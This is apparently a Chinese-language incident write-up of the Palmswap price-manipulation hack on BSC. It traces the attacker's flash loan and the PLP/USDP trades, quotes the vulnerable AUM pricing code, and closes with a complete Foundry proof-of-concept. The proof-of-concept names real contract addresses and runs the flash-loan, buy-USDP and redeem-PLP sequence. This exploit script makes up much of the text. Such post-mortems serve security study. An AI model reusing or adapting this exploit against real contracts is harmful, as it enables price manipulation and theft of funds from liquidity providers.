攻击介绍

Palmswap由于其蹩脚的业务逻辑,导致了价格被黑客操控,导致被黑客盗取了大约$900K

攻击分析

我们通过phalcon来分析。

通过调用栈发现,攻击者先贷了3,000,000的USDT,然后质押1,000,000的USDT来获得大约996,324的PLP,然后用剩下的2,000,000的USDT,去购买了USDP,然后攻击者销毁了持有的所有的PLP,但得到了大约1,947,570的USTD。最后卖出USDP,大约得到1,947,570的USDT。

显然,攻击者在通过购买USDP操纵了PLP的价格。

function getPrice(bool _maximise) external view returns (uint256) {
uint256 aum = getAum(_maximise);
uint256 supply = IERC20Upgradeable(plp).totalSupply();
return (aum * PLP_PRECISION) / supply;
}

function getAums() public view returns (uint256[] memory) {
    uint256[] memory amounts = new uint256[](2);
    amounts[0] = getAum(true);
    amounts[1] = getAum(false);
    return amounts;
}

function getAumInUsdp(bool maximise)
    public
    view
    override
    returns (uint256)
{
    uint256 aum = getAum(maximise);
    return (aum * (10**USDP_DECIMALS)) / PRICE_PRECISION;
}

function getAum(bool maximise) public view returns (uint256) {
    uint256 length = vault.allWhitelistedTokensLength();
    uint256 aum = aumAddition;
    IVault _vault = vault;

    uint256 collateralTokenPrice = maximise
        ? _vault.getMaxPrice(collateralToken)
        : _vault.getMinPrice(collateralToken);

    uint256 collateralDecimals = _vault.tokenDecimals(collateralToken);

    uint256 currentAmmDeduction = (vault.permanentPoolAmount() *
        collateralTokenPrice) / (10**collateralDecimals);
    aum +=
        (vault.poolAmount() * collateralTokenPrice) /
        (10**collateralDecimals);

    .......

很明显攻击者通过买USDP来使Price增大。然后通过移除流动性获利。

POC
pragma solidity ^0.8.10;

import “forge-std/Test.sol”;
import “./interface.sol”;

// Vulnerable Contract : https://bscscan.com/address/0xd990094a611c3de34664dd3664ebf979a1230fc1
// Attack Tx : https://bscscan.com/tx/0x62dba55054fa628845fecded658ff5b1ec1c5823f1a5e0118601aa455a30eac9

interface IVault {
function buyUSDP(address _receiver) external returns (uint256);

function sellUSDP(address _receiver) external returns (uint256);

}

interface ILiquidityEvent {
function purchasePlp(uint256 _amountIn, uint256 _minUsdp, uint256 _minPlp) external returns (uint256 amountOut);

function unstakeAndRedeemPlp(uint256 _plpAmount, uint256 _minOut, address _receiver) external returns (uint256);

}

contract PalmswapTest is Test {
IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
IERC20 PLP = IERC20(0x8b47515579c39a31871D874a23Fb87517b975eCC);
IERC20 USDP = IERC20(0x04C7c8476F91D2D6Da5CaDA3B3e17FC4532Fe0cc);
IVault Vault = IVault(0x806f709558CDBBa39699FBf323C8fDA4e364Ac7A);
ILiquidityEvent LiquidityEvent = ILiquidityEvent(0xd990094A611c3De34664dd3664ebf979A1230FC1);
IAaveFlashloan RadiantLP = IAaveFlashloan(0xd50Cf00b6e600Dd036Ba8eF475677d816d6c4281);
address private constant plpManager = 0x6876B9804719d8D9F5AEb6ad1322270458fA99E0;
address private constant fPLP = 0x305496cecCe61491794a4c36D322b42Bb81da9c4;

CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

function setUp() public {
    cheats.createSelectFork("bsc", 30_248_637);
    cheats.label(address(BUSDT), "BUSDT");
    cheats.label(address(PLP), "PLP");
    cheats.label(address(USDP), "USDP");
    cheats.label(address(Vault), "Vault");
    cheats.label(address(LiquidityEvent), "LiquidityEvent");
    cheats.label(address(RadiantLP), "RadiantLP");
    cheats.label(plpManager, "plpManager");
    cheats.label(fPLP, "fPLP");
}

  function testExploit() public {
    deal(address(BUSDT), address(this), 0);
    BUSDT.approve(plpManager, type(uint256).max);
    BUSDT.approve(address(RadiantLP), type(uint256).max);
    PLP.approve(fPLP, type(uint256).max);
    takeFlashLoanOnRadiant();
}

function executeOperation(
    address[] calldata assets,
    uint256[] calldata amounts,
    uint256[] calldata premiums,
    address initiator,
    bytes calldata params
) external returns (bool) {
   
    uint256 amountOut = LiquidityEvent.purchasePlp(1_000_000 * 1e18, 0, 0);

    BUSDT.transfer(address(Vault), 2_000_000 * 1e18);
    Vault.buyUSDP(address(this));
    
    uint256 amountUSDP = LiquidityEvent.unstakeAndRedeemPlp(amountOut - 13_294 * 1e15, 0, address(this));

    USDP.transfer(address(Vault), amountUSDP - 3154 * 1e18);
    Vault.sellUSDP(address(this));

    return true;
}

function takeFlashLoanOnRadiant() internal {
    address[] memory assets = new address[](1);
    assets[0] = address(BUSDT);
    uint256[] memory amounts = new uint256[](1);
    amounts[0] = 3_000_000 * 1e18;
    uint256[] memory modes = new uint256[](1);
    modes[0] = 0;
    RadiantLP.flashLoan(address(this), assets, amounts, modes, address(this), bytes(""), 0);
}

}